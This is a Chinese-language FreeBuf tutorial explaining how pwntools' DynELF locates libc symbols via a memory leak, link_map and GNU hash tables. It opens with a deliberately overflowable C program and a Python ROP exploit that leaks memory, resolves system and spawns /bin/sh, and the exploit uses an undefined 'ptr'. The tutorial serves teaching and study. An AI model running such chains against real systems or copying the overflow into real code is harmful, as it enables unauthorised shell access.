Pwntools之DynELF原理探究

收藏待读

Pwntools之DynELF原理探究

*本文作者:xmwanth,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

DynELF是pwntools中專門用來應對沒有libc情況的漏洞利用模塊,在提供一個目標程序任意地址內存泄漏函數的情況下,可以解析任意加載庫的任意符號地址。本文將對其技術原理進行介紹,其中涉及ELF文件中的hash表、動態符號表、字符串表、Dynamic段,以及link_map結構等內容。

一、DynELF應用示例

目標程序源代碼:

#include 
#include 
#include 

void vulfun(){
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv){
    vulfun();
    write(STDOUT_FILENO, "Hello,Worldn", 13);
}

poc:

#!/usr/bin/env python
from pwn import *

elf  = ELF('vul_elf')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048404

def leak(address):
	payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)
	p.send(payload1)
	data = p.recv(4)
	return data

p = process('./vul_elf')
d=DynELF(leak, ptr)
system_addr = d.lookup('system', 'libc')

bss_addr = 0x0804a018
pppr = 0x080484bd
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
p.send(payload2)
p.send("/bin/sh")
p.interactive()

二、DynELF原理

在示例中,應用DynELF的代碼是:

d=DynELF(leak, ptr)
system_addr = d.lookup('system', 'libc')

可以看到,DynELF作用是尋找system函數在內存中的加載地址,下面對該過程進行介紹:

1、獲取vul_elf內存加載基地址

已知vul_elf加載內存範圍內的一個地址ptr,將該地址進行頁對齊

page_size = 0x1000
page_mask = ~(page_size - 1)
ptr &= page_mask

然後對比內存頁起始字符串是否為』x7fELF』,如果不是,一直向低地址內存頁(ptr -= page_size)進行查找,找到符合該條件的頁面,該頁面起始地址就是vul_elf文件內存加載基地址。

尋找vul_elf內存加載基地址的示意圖如下:

Pwntools之DynELF原理探究

2、獲取libc.so內存加載基地址

vul_elf是動態鏈接的可執行文件,在該類型文件中有一個link_map雙向鏈表,其中包含了每個動態加載的庫的路徑和加載基址等信息,其數據結構為:

可以通過兩種途徑獲取link_map鏈表:一是在所有ELF文件中,通過Dynamic段DT_DEBUG區域得到。二是在non-RELRO ELF文件中,link_map地址存在於.got.plt區節中,該區節的加載地址可以從DYNAMIC段DT_PLTGOT區域得到。

這兩種途徑都需要知道vul_elf的DYNAMIC段地址:我們在第一步中獲取了vul_el內存加載基地址,由此可以得到vul_elf段表,通過解析vul_elf段表可以得到DYNAMIC基地址。

通過第二種方式獲取link_map結構的示意圖如下:

Pwntools之DynELF原理探究

3、獲取libc.so的hash表、動態符號表、字符串表基地址

在所有需要導出函數給其他文件使用的ELF文件(例如: 「libc.so」)中,用動態符號表、字符串表、hash表等一系列表用於指示導出符號(例如:」system」)的名稱、地址、hash值等信息。通過libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB可以獲取hash表、動態符號表、字符串表在內存中的基地址。

4、通過hash表獲取system函數地址

hash表是用於查找符號的散列表,通過libc.so的hash表可以找到system函數內存加載地址,在ELF文件中有SYSV、GNU兩種類型的hash表,其中通過GNU HASH查找system函數地址示意圖如下。其尋找過程涉及諸多細節,在此不多敘述,後面會寫文章對通過hash表找到符號地址作專門講解。

Pwntools之DynELF原理探究

圖中: nbuckets是hash buckets的數值,symndx是hash表映射符號表的起始索引,Bloom Filter用作過濾不在符號表中的符號名稱,在DynELF中並沒有使用:

hash=gnu_hash(「system」),gnu_hash是GNU HASH算法函數
ndx=hash%nbuckets,ndx是符號表中所有 符號HASH%nubuckets 相等的起始索引

最後:內存泄露函數在過程中用作讀取程序內存數據,像上面例子中獲取link_map、DYNAMIC段、vul_elf段表等內容都是通過內存泄露函數。

*本文作者:xmwanth,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

原文 : FreeBuf

相關閱讀

免责声明:本文内容来源于FreeBuf,已注明原文出处和链接,文章观点不代表立场,如若侵犯到您的权益,或涉不实谣言,敬请向我们提出检举。